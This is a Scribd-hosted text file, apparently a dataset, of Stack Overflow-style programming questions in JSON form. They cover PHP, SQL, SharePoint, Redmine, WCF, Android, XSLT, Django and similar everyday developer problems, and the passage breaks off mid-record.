0% found this document useful (0 votes)
32 views

10k Data

The document contains discussions on various technical topics including: 1) How to detect URL redirects in PHP and include external JavaScript files in MediaWiki. 2) Issues with prompting for credentials when editing SharePoint pages from IE8 and problems installing Redmine on Windows Server 2008. 3) Questions about aggregate functions in SQL PIVOT statements, retrieving data using SQL group by, and checking exchanged data size in WCF.

Uploaded by

dsmk023
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
32 views

10k Data

The document contains discussions on various technical topics including: 1) How to detect URL redirects in PHP and include external JavaScript files in MediaWiki. 2) Issues with prompting for credentials when editing SharePoint pages from IE8 and problems installing Redmine on Windows Server 2008. 3) Questions about aggregate functions in SQL PIVOT statements, retrieving data using SQL group by, and checking exchanged data size in WCF.

Uploaded by

dsmk023
Copyright
© © All Rights Reserved
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1961

{"110556": ["How can I determine if a URL redirects in PHP?

", "I saw someone ask a


question about detecting if a URL redirects from groovy and perl but couldn't find
anything on PHP.\nAnyone know of somewhere I could find that code that does this?\
n", "", "php url rewrite"], "4043357": ["aggregate function in TSQL PIVOT",
"http://technet.microsoft.com/en-us/library/ms177410(SQL.105).aspx\nIn some cases I
have seen the aggregate function as sum, Max or avg. How to determin which
aggregate function to use in the PIVOT statement?\nThank you,\nsmith\n", "", "tsql
pivot"], "228057": ["SQL group by question", "I have a problem when retrieving data
from a SQL using JSP.\n\nI use group by statement to group some data.\nHowever, I
don't know how to get the data out when group by is applied.\nCan anyone help me?
Thank you\n", "ResultSet rs = statement.executeQuery(\"select orderdate, \n
SUM(orderingcost) \n from
`shopping`.`order` \n group by orderdate\");\
nint count = 0;\n//String\n\nwhile (rs.next()) {\n //String orderdate =
rs.getString(\"orderdate\");\n //String orderingcost =
rs.getString(\"orderingcost\");\n System.out.println(count);\n count++;\n}\n",
"sql jsp group-by group"], "287147": ["Could not find to use the common.js in
Mediawiki", "I need to include some external javascript files inside the in
mediawiki. I have searched for the solution and found many of the users are
suggested to use the by using the mediawiki namespace i.e . But if i paste this in
the editer as a admin also it is showing as 'MediaWiki:Common.js'. It does not
include any js. I have enabled in file also. Can anyone suggest me how to use the
in mediawiki\n", "<head>", "php javascript mediawiki"], "684237": ["SharePoint
Designer prompts for credentials when edited from IE8", "Our intranet is hosted
using the free SharePoint services on Windows 2003. Consider the following page:\
nhttp://vserver003/help/technology/multimedia/multimedia.htm\nOn selecting \"Edit
with Microsoft Office SharePoint Designer\" from IE8, SPD launches, opens the
website and then the selected page - all is well.\nIn order to make moving the
intranet easier, we've set-up a DNS setting called intranet.company.local so you
can also access the intranet that
way:\nhttp://intranet.company.local/help/technology/multimedia/multimedia.htm\
nHowever, when you edit this page, SPD designer prompts you for credential, i.e.
domain\\username and password. If you enter the details it opens fine. If you don't
enter the details, the page still opens but not the website.\nAny ideas have to get
around this prompt? Haven't a clue where to start looking.\nThanks, Rob.\nPS. The
same prompt occurs if you use the physical IP address.\n", "", "sharepoint"],
"5656792": ["Problems while Installing Redmine on Windows Server 2008", "I have
Windows Server 2008 R2 with MySQL and Subversion installed separately. Just to
mention that it is also having IIS.\nWe are currently installing Redmine on the
same server, and following instructions from this page:
\nhttp://www.richardnichols.net/2009/09/1-minute-guide-installing-redmine-on-
windows/\nWhile installing this we\u2019ve struck at step no. 8 with error on Rake
aborted!\nHere is the complete error text:\n\nWhat could be causing this, and how
to fix this. I'm not an expert at ROR.\n\nThanks daemonsly, As per your update, I
have downgraded Ruby Gems version. Error has been changed, but still not able to
proceed further. Here is the exact error I'm getting:\n\n", "C:\\Ruby187\\Apps\\
Redmine>rake redmine:load_default_data RAILS_ENV=production\nNOTE: Gem.source_index
is deprecated, use Specification. It will be removed on o\nr after 2011-11-01.\
nGem.source_index called from C:/Ruby187/Apps/Redmine/config/../vendor/rails/rail\
nties/lib/rails/gem_dependency.rb:21.\nNOTE: Gem::SourceIndex#initialize is
deprecated with no replacement. It will be\nremoved on or after 2011-11-01.\
nGem::SourceIndex#initialize called from C:/Ruby187/Apps/Redmine/config/../vendor\
n/rails/railties/lib/rails/vendor_gem_source_index.rb:100.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nNOTE:
Gem::SourceIndex#add_spec is deprecated, use Specification.add_spec. It wi\nll be
removed on or after 2011-11-01.\nGem::SourceIndex#add_spec called from
C:/Ruby187/lib/ruby/site_ruby/1.8/rubygems\n/source_index.rb:91.\nrake aborted!\
nCould not find rack (~> 1.1.0) amongst [actionmailer-3.2.1, actionpack-3.2.1, ac\
ntivemodel-3.2.1, activerecord-3.2.1, activeresource-3.2.1, activesupport-3.2.1,\
narel-3.0.0, builder-3.0.0, bundler-1.0.22, cgi_multipart_eof_fix-2.5.0, erubis-2\
n.7.0, gem_plugin-0.2.3, hike-1.2.1, i18n-0.6.0, journey-1.0.1, json-1.6.5, mail-\
n2.4.1, mime-types-1.17.2, mongrel-1.1.5-x86-mingw32, multi_json-1.0.4, mysql-2.8\
n.1-x86-mingw32, polyglot-0.3.3, rack-1.4.1, rack-cache-1.1, rack-ssl-1.3.2, rack\
n-test-0.6.1, rails-3.2.1, railties-3.2.1, rake-0.9.2.2, rdoc-3.12, sprockets-2.3\
n.1, sprockets-2.1.2, thor-0.14.6, tilt-1.3.3, treetop-1.4.10, tzinfo-0.3.31]\n\
nTasks: TOP => redmine:load_default_data => environment\n(See full trace by running
task with \u2013trace)\n", "ruby-on-rails project-management rake redmine"],
"924629": ["WCF : Check the exchanged size", "To do some WCF benchmarking, I need
to have a way to get the size of the exchanged data(with all header(even
TCP)/compression/...).\nIt's in a bigger benchmarking(which also tries different
binding, encoding, ...) so I need to do it programmatically and NOT through
something like wireshark.\nIs there a hook somewhere to do this?\nAll
channels/bindings/encoders are created programmatically to automate some tests.\nI
found some ways( http://devlicio.us/blogs/derik_whittaker/archive/2011/02/03/how-
to-intercept-a-wcf-message-to-track-message-size.aspx ), but I'm not sure it will
work with non-text data. Or http://zamd.net/2008/08/15/calculating-wcf-message-
size/ but I don't see how to start it(and not sure it will works with my custom
encoders\n", "", "c# wcf performance benchmarking"], "6007203": ["Progress Bar in
Background Worker not loading", "I've run into an issue that I can't seem to figure
out the solution to, I've read several answers and have gotten as far as knowing
that I need a BackgroundWorker Thread to make this solution work, but I'm still
running into a bit of an issue.\nI have a second form that is a small size and set
to center on screen with a ProgressBar Style set to Marquee, there is nothing else
on this second form as it is meant to emulate a loading bar.\nIn my data intensive
section of the code, on the main form, where it grabs and parses data from a
database I have it written like this:\n\nThe background worker is defined as such
below, also on the main form.\n\nThe problem I have run into is that with this
method it shows the Loading form that contains the progress bar does show up when
the data starts getting gathered and process and does disappear when the data load
is complete, but the window is empty like it's trying to load, but it doesn't. I
can't seem to figure out why this isn't working.\nIsn't the background worker
creating a separate thread for the Loading form to use? Or is there something else
that I'm missing from my reading?\n", " GetData()\n {\n
bwLoading.RunWorkerAsync();\n //Runs all the processing\n
bwLoading.CancelAsync();\n }\n", "c# winforms progress-bar"], "221548": ["C#
Winforms application secure connection to Access DB", "I have a C# 2010 Winforms
application that uses OleDb to connect to an Access 2010 database which is password
protected. This is not an online application!\nI currently store the password in
plain text in the connection string [I know this is horribly insecure] which is
obfuscated using Eazfuscator.NET. I am interested in a way to securely store the
password in such a way that it cannot be obtained by decompiling or any other
practical methods.\nI am aware that there are methods to do this for ASP.NET
applications by encrypting the connection string in app/web.config but it would not
work for me since my application is a desktop application.\nSo far I didn't find
any method to achieve this. \nHere is what I have thought of doing:\nRequest a
password from the user, since there will be only one user who will have access to
the database. Get a hash (SHA1 / SHA512) for the input password, select a certain
number of characters from the hash, salt it, add it to the connection string and
try to connect.\nObviously, if the user would forget the password, there would be
absolutely no way to gain access to the database other than by using brute force.\
nIs there any way to store the password used in the connection string in the
program so that it cannot be obtained by any practical means? \n", "", "c# winforms
desktop-application net eazfuscator"], "5789104": ["StructureMap Dependencies for
Arguments in Constructor", "If I have the following, and I were to say is it
possible to tell StructureMap to make the I_A instance to A_User the same instance
as the I_A passed to Master?\n\n", "ObjectFactory.GetInstance<Master>()",
"structuremap"], "5108135": ["JQuery accordion doesn't work without h3 tags", "I am
trying to make an accordion with JQuery and am running into some trouble. The
JQuery website shows to create your accordion content like this.\n\nWhen I do this
the accordion doesn't work right and something is wrong with the formatting. If I
put h3 tags around the header anchors like so\n\nIt works. Does anyone know why
this happens? It happens in Firefox 3.5 and IE 8. I also just downloaded the JQuery
files today.\n-Thanks\n", "<div id=\"accordion\">\n <a href=\"#\">First
header</a>\n <div>First content</div>\n <a href=\"#\">Second header</a>\n
<div>Second content</div>\n</div>\n", "jquery accordion"], "5954921": ["Android In-
App purchase issue", "I'm experiencing a weird problem after we've submitted our
first app on the Android Market. The app has a in-app purchasing feature which have
been fully tested before the release (or at least I thought so).\nI'm aware that
similar questions might already exists, but I haven't found them and it's quite
difficult to describe my problem with only a few words.\nThe problem appears when a
user:\na) downloads our app from Android Market\nb) opens the app after download
through the OPEN link in Android Market\nc) starts a purchase which takes the user
back to Android Market.\nd) either cancels or completes the purchase\nThen: \
nInstead of returning to our app, the user returns to Android Market (which
displays an description of our app with a button to open the app etc). In the
LogCat an Response Code is sent from Android Market to the Purchase Observer, but
our app (now being in the background) doesn't receive the code and therefor stalls,
forever waiting for a response from Android Market. So it's actually two problems,
because it's not intentional that the user should return to the Android Market
screen after purchasing - our app should be before Market in the history.\
nEverything works correctly if the user opens our app outside Android Market (e.g.
the Home screen). The observer receives either the cancel or complete Response
Code.\nWe've used Google's own In-App Billing example as our foundation.\nI hope
this is somewhat understandable.\nThanks in advance\n", "", "android in-app-
purchase android-market"], "5052792": ["Overriding JQGrid params defind in server
side", "I'm working on the CSS of a table which is generated via JQGrid in the
server-side using C#. I tried to override the layout definitions (e.g width) in the
client side (of course after the server-side table is generated in the code) but
got nothing. the only thing that worked is creating a whole new jqgrid object,
which obviously nullifies all server-side definitions, so it's no use.\nIs there a
way to somehow regenerate a JavaScript copy of the object in the client-side, and
then apply changes to it?\nYour kind assistance is most welcome.\nedit:\nhere is to
code used to generate the table with C#:\n\n", " this.projectGrid = new
JQGrid\n {\n Columns = new List<JQGridColumn>()\n {\n
new JQGridColumn { Visible=true,\n
Editable=false,\n // Width=70,\n
DataField=\"compliance_colour\",\n
HeaderText=\"Comp.\",\n Searchable=false,\n
Formatter = new CustomFormatter\n
{\n FormatFunction
= \"formatCmpImage\"\n\n
}\n\n\n },\n new
JQGridColumn{ DataField=\"ProjectID\",\n
PrimaryKey=true,\n Visible=true,\n
Editable=false,\n HeaderText=\"ID\",\n
// Width=50,\n Searchable=false\
n },\n new JQGridColumn{ DataField=\"OpsRegion\",\n
Visible=true,\n Editable=false,\n
HeaderText=\"Ops Region\",\n // Width=180,\n
Searchable=false\n\n },\n new
JQGridColumn{DataField=\"customer\",\n
Visible=true,\n Editable=false,\n
HeaderText=\"Customer Name\",\n // Width=180,\n
Searchable=false\n\n },\n new
JQGridColumn{ DataField=\"projectName\",\n
Visible=true,\n Editable=false,\n
HeaderText=\"Project Name\",\n // Width=300,\n
Searchable=false,\n Formatter = new
CustomFormatter\n {\n
FormatFunction = \"formatLink\",\n\n
}\n\n\n },\n\n new
JQGridColumn{DataField=\"projectManager\",\n
Visible=true,\n Editable=false,\n
HeaderText=\"Project Manager\",\n // Width=110,\n
Searchable=false\n },\n new
JQGridColumn{DataField=\"status\",\n Visible=true,\
n Editable=false,\n
HeaderText=\"Status\",\n // Width=70,\n
Searchable=false\n\n },\n new JQGridColumn
{DataField=\"type\",\n Visible=true,\n
Editable=false,\n HeaderText=\"Type\",\n
// Width=70,\n Searchable=false\n\n
},\n new JQGridColumn {DataField=\"favorite\",\n
Visible=true,\n Editable=false,\n
HeaderText=\"Favorite\",\n // Width=60,\n
Searchable=false,\n Formatter = new
CustomFormatter\n {\
n FormatFunction
= \"formatFvImage\",\n
UnFormatFunction = \"unformatCell\"\n
}\n\n },\n new JQGridColumn
{DataField=\"compliance_reason\",\n Visible=false
\n },\n new JQGridColumn {DataField=\"lastUpdate\",\
n Visible=true,\n
Editable=false,\n // Width=60,\n
HeaderText=\"Last Update\",\n Searchable=false,\n
Formatter = new CustomFormatter\n
{\n
FormatFunction = \"formatReportLink\",\n
UnFormatFunction = \"unformatCell\"\n
}\n\n },\n },\n Width = Unit.Pixel(1400),\n
ShrinkToFit=true,\n Height = Unit.Pixel(520),\n\n };\n", "c#
javascript jquery-plugins jqgrid"], "4785302": ["Microsoft word theme/document
template", "I am working on my final year dissertation for university and the
standard microsoft word theme/template for standard documents is not very
appealing. Are there any sites or links you can give me to download any more
professional and better looking themes/document templates. Im a mac user by the way
if this makes any difference. \nThank you for any help.\n", "", "microsoft-word"],
"882716": ["Suffix \"clone.44\" on e1000_tx_queue in e1000 device driver",
"e1000_tx_queue is the function in e1000 linux device driver. When I dump the
module of e1000 to assembly code, this function is demonstrated as
e1000_tx_queue.clone.44. Like: \n\nSo what does the suffix \"clone.44\" mean in
this case? Is this added by compiler and what is the usage?\nThanks\n",
"00000c10 <e1000_tx_queue.clone.44>:\n c10: 55 push %ebp\
n c11: 89 e5 mov %esp,%ebp\n c13: 57
push %edi\n c14: 56 push %esi\n c15: 53
push %ebx\n c16: 83 ec 10 sub $0x10,%esp\n c19: e8 fc ff ff
ff call c1a <e1000_tx_queue.clone.44+0xa>\n c1a: R_386_PC32
mcount\n c1e: 89 45 ec mov %eax,-0x14(%ebp)\n c21: 8b 45 08
mov 0x8(%ebp),%eax\n c24: 89 55 e8 mov %edx,-0x18(%ebp)\n
c27: a8 04 test $0x4,%al\n c29: 0f 84 ad 00 00 00 je
cdc <e1000_tx_queue.clone.44+0xcc>\n c2f: 89 c2 mov %eax,
%edx\n c31: 83 e2 08 and $0x8,%edx\n c34: 83 fa 01
cmp $0x1,%edx\n c37: 19 ff sbb %edi,%edi\n c39: 81 e7
00 ff ff ff and $0xffffff00,%edi\n <MORE>\n", "linux-kernel linux-device-
driver"], "5587996": ["Stop MediaPlayer", "I made an android application where you
can click buttons to play sounds. Every time, you click the button, a new
MediaPlayer is getting created and the problem is, when you push a button during
another sound is still playing, they are playing at the same time, but I want, that
the previous sounds stops when you push a button. I already tried this code but my
application crashes every time I press the button:\n\nIs there a way to solve my
problem?\n", "MediaPlayer mp;\nButton button;\n\nbutton = (Button)
findViewById(R.id.button);\n\nbutton.setOnClickListener(new OnClickListener() {\n\
n\n @Override\n public void onClick(View v) {\n\n
if(mp.isPlaying()){\n\n mp.stop();\n\n }\n\n
mp = MediaPlayer.create(getApplicationContext(), R.raw.sound);\n
mp.start();\n\n }});\n", "java android mediaplayer stop"], "5103839": ["Zurb
Foundation Top Bar 'min-height\" wrong", "I am in the process of using Foundation
to create a website, and I have come across a problem that I can't seem to find the
solution too. I have noticed that when expanded, some of my drop-downs get cut off
in the Mobile Version of the Top Bar, and I was wondering if anyone had come across
this issue, or had a fix for it. Did I do something in the CSS that made the JS no
longer count all of the elements correctly?\nYou can see what I am saying here.\
nhttp://tinyurl.com/b28jhzx\nThanks guy's\n", "", "wordpress responsive-design
foundation zurb-foundation"], "1658942": ["When to be careful about multithreading
in EJBs?", "I understand that App Server takes care of the threading so the
developer should only concentrate on the business logic... \nbut consider an
example. A stateless EJB has a member of type CountManager. \n\nAnd the
CountManager \n\nThe developer should think about multi-threading here. If you
make CountManager also an EJB, I guess problem won't go away.\nWhat would be the
general guideline for developer to watch out for? \nUpdate:\nChanged the code.
Assume that the methods of EJB are exposed as webservice, so we have no control
what order client calls them. Transaction attribute is default. Does this code
behave correctly under multi threaded scenario? \n", "@WebService\n@Stateless\
npublic class StatelessEJB {\n private CountManager countManager;\n ... \n
public void incrementCount() {countManager.incrementCount();}\n public int
getCount(){return countManager.getCount();}\n}\n", "multithreading java-ee thread-
safety ejb-3.0"], "4897624": ["how does UITextView delegate knows when to call
textViewDidEndEditing", "I am developing an application in which i need to call a
particular method when user hits return button.I am using UITextView. Now the
problem is that when I hit return key ,cursor goes to next line and I am not able
to retrieve the action in my code. I tried to write the same code in \
ntextViewDidEndEditing: delegate method but it looks as if we cant find when and at
what action this particular method is called...Can someone help in with any of
above approach?\n", "", "iphone uitextview"], "5102411": ["Is there a way to
automate file/folder syncing if and when there is a change to specified
files/folders?", "Right now I have a Dropbox Folder synced to another folder on my
hard drive and to one on my external hard drive. I have done this by using Sync Toy
and a scheduled event that fires every 30 minutes.\nHowever this seems somewhat
wasteful to me as it really only needs to run as soon as a file is changed in
either the folder on my hard drive or the drop box folder (external hard drive is
simply used as a backup).\nIs there a way to fire the scheduled event on
folder/file change in either location? Or is there an easier way of going about the
same task?\n", "", "windows sync dropbox"], "2366339": ["Can I stream a Windows App
from a Linux server?", "We are transitioning from distributed software (on a disc)
to software as a service (SaaS) and are looking into how to present our application
to users. My question is whether it is possible to stream a Windows-based app from
a Linux server via something like remote desktop or terminal services?\nNote: The
user is not getting a whole desktop though, just an icon which would remotely
launch the application. Similar to Citrix XenApp.\n", "", "linux windows-server
saas"], "2902604": ["Implementing parser for markdown-like language", "I have
markup language which is similar to markdown and the one used by SO.\nLegacy parser
was based on regexes and was complete nightmare to maintain, so I've come up with
my own solution based on EBNF grammar and implemented via mxTextTools/SimpleParse.\
nHowever, there are issues with some tokens which may include each other, and I
don't see a 'right' way to do it.\nHere is part of my grammar:\n\nFirst problem is,
spoiler, strong and emphasis can include each other in arbitrary order. And its
possible that later I'll need more such inline markups.\nMy current solution
involves just creating separate token for each combination (inline_noast,
inline_nostrong, etc), but obviously, number of such combinations grows too fast
with growing number of markup elements.\nSecond problem is that these lookaheads in
strong/emphasis behave VERY poorly on some cases of bad markup like (lots of
randomly placed markup symbols). It takes minutes to parse few kb of such random
text.\nIs it something wrong with my grammar or I should use some other kind of
parser for this task?\n", "newline := \"\\r\\n\"/\"\\n\"/\"\\r\"\nindent
:= (\"\\r\\n\"/\"\\n\"/\"\\r\"), [ \\t]\nnumber := [0-9]+\nwhitespace
:= [ \\t]+\nsymbol_mark := [*_>#`%]\nsymbol_mark_noa := [_>#`%]\
nsymbol_mark_nou := [*>#`%]\nsymbol_mark_nop := [*_>#`]\npunctuation := [\\
(\\)\\,\\.\\!\\?]\nnoaccent_code := -(newline / '`')+\naccent_code := -
(newline / '``')+\nsymbol := -(whitespace / newline)\ntext :=
-newline+\nsafe_text := -(newline / whitespace / [*_>#`] / '%%' /
punctuation)+/whitespace\nlink := 'http' / 'ftp', 's'?, '://', (-[ \\
t\\r\\n<>`^'\"*\\,\\.\\!\\?]/([,\\.\\?],?-[ \\t\\r\\n<>`^'\"*]))+\nstrikedout
:= -[ \\t\\r\\n*_>#`^]+\nctrlw := '^W'+\nctrlh := '^H'+\
nstrikeout := (strikedout, (whitespace, strikedout)*, ctrlw) / (strikedout,
ctrlh)\nstrong := ('**', (inline_nostrong/symbol),
(inline_safe_nostrong/symbol_mark_noa)* , '**') / ('__' , (inline_nostrong/symbol),
(inline_safe_nostrong/symbol_mark_nou)*, '__')\nemphasis :=
('*',?-'*', (inline_noast/symbol), (inline_safe_noast/symbol_mark_noa)*, '*') /
('_',?-'_', (inline_nound/symbol), (inline_safe_nound/symbol_mark_nou)*, '_')\
ninline_code := ('`' , noaccent_code , '`') / ('``' , accent_code ,
'``')\ninline_spoiler := ('%%', (inline_nospoiler/symbol),
(inline_safe_nop/symbol_mark_nop)*, '%%')\ninline := (inline_code /
inline_spoiler / strikeout / strong / emphasis / link)\ninline_nostrong :=
(?-('**'/'__'),(inline_code / reference / signature / inline_spoiler / strikeout /
emphasis / link))\ninline_nospoiler := (?-'%%',(inline_code / emphasis /
strikeout / emphasis / link))\ninline_noast := (?-'*',(inline_code /
inline_spoiler / strikeout / strong / link))\ninline_nound := (?-'_',
(inline_code / inline_spoiler / strikeout / strong / link))\
ninline_safe := (inline_code / inline_spoiler / strikeout / strong /
emphasis / link / safe_text / punctuation)+\ninline_safe_nostrong := (?-
('**'/'__'),(inline_code / inline_spoiler / strikeout / emphasis / link / safe_text
/ punctuation))+\ninline_safe_noast := (?-'*',(inline_code / inline_spoiler /
strikeout / strong / link / safe_text / punctuation))+\ninline_safe_nound :=
(?-'_',(inline_code / inline_spoiler / strikeout / strong / link / safe_text /
punctuation))+\ninline_safe_nop := (?-'%%',(inline_code / emphasis /
strikeout / strong / link / safe_text / punctuation))+\ninline_full :=
(inline_code / inline_spoiler / strikeout / strong / emphasis / link / safe_text /
punctuation / symbol_mark / text)+\nline := newline, ?-[ \\t],
inline_full?\nsub_cite := whitespace?, ?-reference, '>'\ncite
:= newline, whitespace?, '>', sub_cite*, inline_full?\ncode :=
newline, [ \\t], [ \\t], [ \\t], [ \\t], text\nblock_cite := cite+\
nblock_code := code+\nall := (block_cite /
block_code / line / code)+\n", "python parsing grammar markup ebnf"], "4207721":
["Architecture advice about managing UDP calls", "I would like to have an advice
for this issue:\nI am using Jbos 5.1.0, EJB3.0\nI have system, which sending
requests via UDP'S to remote modems, and suppose to wait
for an answer from the target modem.\nthe remote modems support only UDP calls,
therefor I o design asynchronous mechanism. (also coz I want to request X modems
parallel)\nthis is what I try to do:\nall calls are retrieved from Data Base, then
each call will be added as a message to JMS QUE.\nlet's say i will set X MDB'S on
that que, so I can work asynchronous. now each MDB will send UDP request to the IP-
address(remote modem) which will be parsed from the que message.\nso basicly each
MDB, which takes a message is sending a udp request to the remote modem and
[b]waiting [/b]for an answer from that modem. \n[u]now here is the BUG:[/u]\ncould
happen a scenario where MDB will get an answer, but not from the right modem( which
it requested in first place). \nthat bad scenario cause two wrong things:\na. the
sender which sent the message will wait forever since the message never returned to
him(it got accepted by another MDB).\nb. the MDB which received the message is not
the right one, and probablly if it was on a \"listener\" mode, then it supposed to
wait for an answer from diffrent sender.(else it wouldnt get any messages)\nso
ofcourse I can handle everything with a RETRY mechanisem. so both mdb's(the one who
got message from the wrong sender, and the one who never got the answer) will try
again, to do thire operation with a hope that next time it will success.\nThis is
the mechanism, mybe you could tell me if there is any design pattren, or any other
effective solution for this problem?\nThanks,\nray.\n", "", "java java-ee jboss
ejb-3.0"], "3181147": ["what is the meaning of the term \"computation space\"?",
"What is the meaning of the term \"computation space\"? \nI was able to find in
wikipedia a very clear explanation of the term \"computation time\". I.e. The time
required by a deterministic Turing machine M on input x is the total number of
state transitions, or steps, the machine makes before it halts and outputs the
answer (\"yes\" or \"no\"). But I was unable to find a similarly clear definition
of \"computation space\".\n", "", "computer-science"], "4997189": ["Is there a
geometric meaning of the Frobenius norm?", "I have a positive definite matrix $A$.
I am going to choose its Frobenius norm $\\|A\\|_F^2$ as a cost function and then
minimize $\\|A\\|_F^2$. But I think I need to find a reason to convince people it
is reasonable to choose $\\|A\\|_F^2$ as a cost function. So I'm wondering if there
are some geometric meanings of the Frobenius norm. Thanks.\nEdit: here $A$ is a 3
by 3 matrix. In the problem I'm working on, people usually choose $\\det A$ as a
cost function since $\\det A$ has an obvious geometric interpretation: the volume
of the parallelepiped determined by $A$. Now I want to choose $\\|A\\|_F^2$ as a
cost function because of the good properties of $\\|A\\|_F^2$. That's why I am
interested in the geometric meaning of $\\|A\\|_F^2$.\n", "", "linear-algebra
geometry matrices norm"], "2414600": ["Using Template Within XSLT Key Generation",
"I have an XML document containing items, each having a tokenized ID string.\n\nI
need to transform this into another XML document that groups the items according to
the middle part of their ID string (the letter in the above example).\n\nI am
finding the groups using the keys functionality:\n\nNotice the code duplication of
the substring calls in both places. I already have a template that does the same
thing:\n\nIs there any way to use that template within the key statements, to avoid
the duplication of code?\nIn XSLT 2.0 I would just define a function to do it, but
I'm stuck with XSLT 1.0 due to a tools limitation beyond my control.\n", "<?xml
version=\"1.0\"?>\n<Test>\n<Items>\n <Item>\n <ID>1_A_3</ID>\n
<Name>foo</Name>\n </Item>\n <Item>\n <ID>1_B_5</ID>\n
<Name>bar</Name>\n </Item>\n <Item>\n <ID>1_B_7</ID>\n
<Name>baz</Name>\n </Item>\n</Items>\n</Test>\n", "xml xslt xslt-1.0"],
"924628": ["Filter Data from a specific Referer in Google Analytics", "I am using
google analytics on my web site. I would like to see the traffic/counts of people
coming from a specific domain. How I can set this up in google analytics? For
example, my site is wwww.foo.com. I would like to know how many people are landing
on my site from www.bar.com (or get referred from www.bar.com). Would be very
helpful if someone was able to share steps to set this up in google analytics.\
nThanks so much -\n", "", "google-analytics"], "3173109": ["How to get input from
gdb in emacs (with python script)", "I want to use python to create some
interactive script for gdb. It works well in gdb, but it doesn't work if I invoke
gdb from emacs.\nFor example, the python script (test.py) is like below. It simply
print what it gets.\n\nIt works in gdb:\n\nBut in emacs, it will just hang
in \"raw_input\" and could never get the input:\n\nIs there anyway to make it work
just as in gdb?\n", "def testInput():\n n = raw_input('(gdb) ')\n print n\n",
"python emacs gdb"], "5284974": ["Errorformat for maven3 in vim", "I'm running
maven 3 from vim and I'm partially successful in getting the error format defined.
Here's what I have now:\nmakeprg=mvn compile -q -f pom.xml\nerrorformat=[ERROR]\\
%f:[%l%.%c]%m
\nMaven3 build error:\n\nThe problem now is that I get additional, unnecessary
lines in my quickfix list:\n\nHow do I tune the error format better to get only the
errors to appear in the quick fix list?\n", " :!mvn compile -q -f pom.xml 2>&1|
tee /var/folders/qy/qyYtxIV9EECvBoYr30SmkU+++TM/-Tmp-/vemUiQM/6\n[debug] execute
contextualize\n[ERROR] COMPILATION ERROR : \n[ERROR] /Users/mackie/source-
checkouts/carbon/components/bam2/org.wso2.carbon.bam.clustermonitor.ui/src/main/
java/org/wso2/carbon/bam/clustermonitor/ui/ClusterAdminClient.java:[84,9] not a
statement\n\n[ERROR]
/Users/mackie/source-checkouts/carbon/components/bam2/org.wso2.carbon.bam.clustermo
nitor.ui/src/main/java/org/wso2/carbon/bam/clustermonitor/ui/
ClusterAdminClient.java:[84,10] ';' expected\n\n[ERROR] Failed to execute goal
org.apache.maven.plugins:maven-compiler-plugin:2.3.1:compile (default-compile) on
project org.wso2.carbon.bam.clustermonitor.ui: Compilation failure: Compilation
failure:\n[ERROR]
/Users/mackie/source-checkouts/carbon/components/bam2/org.wso2.carbon.bam.clustermo
nitor.ui/src/main/java/org/wso2/carbon/bam/clustermonitor/ui/
ClusterAdminClient.java:[84,9] not a statement\n[ERROR] \n[ERROR]
/Users/mackie/source-checkouts/carbon/components/bam2/org.wso2.carbon.bam.clustermo
nitor.ui/src/main/java/org/wso2/carbon/bam/clustermonitor/ui/
ClusterAdminClient.java:[84,10] ';' expected\n[ERROR] -> [Help 1]\n[ERROR] \
n[ERROR] To see the full stack trace of the errors, re-run Maven with the -e
switch.\n[ERROR] Re-run Maven using the -X switch to enable full debug logging.\
n[ERROR] \n[ERROR] For more information about the errors and possible solutions,
please read the following articles:\n[ERROR] [Help 1]
http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException\n", "java vim
maven-3"], "5657777": ["problem in decoupling urls.py , while following a tutorial
of django", "http://docs.djangoproject.com/en/dev/intro/tutorial03/\nI was at the
step Decoupling the URLconfs where the tutorial illustrates how to decouple . On
doing exactly what it says, i get the following error-\n\n", "urls.py", "django url
jython django-urls"], "684988": ["how to create next button for listbox in wpf
mediaelement", "i am working with wpf media element.i created a listbox for
playlist.the problem is how to control that listbox,i.e.next and prev buttons are
not working,\ni dont know how to move next item in list box.\ncan help me anyone\
nthanks in advance.\n\n \n\n", "", "c# wpf"], "110419": ["Django
+ Unix Cron, cannot import django.db", "I am trying to have a Django script run
every 5 minutes via cron on my dev laptop (Mac OS X). Here is the code in the
script:\n\ncrontab:\n\n*/5 * * * * python /absolute/path/to/tweet_cache.py\n\nerror
from system mail:\n\ncan anyone tell me what im doing wrong?\n", "import sys\
nimport os\n\ndef setup_environment():\n pathname =
